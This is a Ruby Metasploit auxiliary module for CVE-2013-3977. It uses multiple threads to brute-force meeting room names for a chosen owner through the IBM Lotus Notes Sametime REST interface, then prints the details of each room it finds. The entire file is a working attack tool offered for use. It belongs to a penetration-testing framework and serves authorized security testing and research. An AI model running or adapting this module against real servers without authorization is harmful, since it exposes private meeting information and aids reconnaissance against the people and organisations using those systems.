##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'enumerable'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM Lotus Notes Sametime Room Name Bruteforce',
      'Description'    => %q{
        This module bruteforces Sametime meeting room names via the IBM
        Lotus Notes Sametime web interface.
      },
      'Author'         =>
        [
          'kicks4kittens' # Metasploit module
        ],
      'References' =>
        [
          [ 'CVE', '2013-3977' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2013-12-27'
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('OWNER', [ true,  'The owner to bruteforce meeting room names for', '']),
        OptPath.new('DICT', [ true,  'The path to the userinfo script' ]),
        OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
      ])

    register_advanced_options(
      [
        OptInt.new('TIMING', [ true,  'Set pause between requests', 0]),
        OptInt.new('Threads', [ true,  'Number of test threads', 10])
      ])
  end

  def run
    print_status("Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
    print_status("Using owner: #{datastore['OWNER']}")

    # test for expected response code on non-existant meeting room name
    rval = Rex::Text.rand_text_alpha(64)
    uri = target_uri.path
    @reqpath = normalize_uri(uri, '/restapi')

    res = send_request_cgi({
      'uri'     =>  @reqpath,
      'method'  => 'GET',
      'ctype'   => 'text/html',
      'vars_get' => {
        'owner' => datastore['OWNER'],
        'permaName' => rval
        }
    })

    unless res
      print_error("No response, timeout")
      return
    end

    if res.code == 404 and res.body =~ /Room does not exist/i
      vprint_status("Server responding to restapi requests as expected")
    else
      print_error("Unexpected response from server (#{res.code}). Exiting...")
      return
    end

    # create initial test queue and populate
    @test_queue = Queue.new
    @output_lock = false

    # TODO: If DICT is unreadable (missing, etc) this will stack trace.
    ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
    vprint_status("Loaded #{@test_queue.length} values from dictionary")

    print_status("Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")

    while(not @test_queue.empty?)
      t = []
      nt = datastore['Threads'].to_i
      nt = 1 if nt <= 0

      if @test_queue.length < nt
        # work around issue where threads not created as the queue isn't large enough
        nt = @test_queue.length
      end

      begin
        1.upto(nt) do
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
            Thread.current.kill if not test_current
            res = make_request(test_current)
            if res.nil?
              print_error("Timeout from server when testing room \"#{test_current}\"")
            elsif res and res.code == 404
              vprint_status("Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
            else
              # check response for user data
              check_response(res, test_current)
            end
          end
        end
      t.each {|x| x.join }

      rescue ::Timeout::Error
      ensure
        t.each {|x| x.kill rescue nil }
      end
    end
  end

  # make request and return response
  def make_request(test_current)
    # Apply timing information
    if datastore['TIMING'] > 0
      Rex::sleep(datastore['TIMING'])
    end

    res = send_request_cgi({
      'uri'     =>  @reqpath,
      'method'  => 'GET',
      'ctype'   => 'text/html',
      'vars_get' =>
        {
          'owner' => datastore['OWNER'],
          'permaName' => test_current
        }
    })
  end

  # check the response for valid room information
  def check_response(res, test_current)
    begin
      if res.code.to_i == 200
        json_room = JSON.parse(res.body)
        # extract room information if there is data
        output_table(json_room, test_current) unless json_room.blank?
      end
    rescue JSON::ParserError
      # non-JSON response - server may be overloaded
      return
    end
  end

  def output_table(room_info, test_current)

    print_good("New meeting room found: #{test_current}")

    # print output table for discovered meeting rooms
    roomtbl = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
        'Header'  => "[IBM Lotus Sametime] Meeting Room #{test_current}",
        'Prefix'  => "",
        'Postfix' => "\n",
        'Indent'  => 1,
        'Columns' =>
          [
            "Key",
            "Value"
          ]
      )

    room_info['results'][0].each do |k, v|
      if v.is_a?(Hash)
        # breakdown Hash
        roomtbl << [ k.to_s, '>>' ] # title line
        v.each do | subk, subv |
          roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"]  if not v.nil? or v.empty?
        end
      else
        roomtbl << [ k.to_s, v.to_s || "-"]  unless v.nil?
      end
    end
    # output table
    print_good(roomtbl.to_s)

  end
end
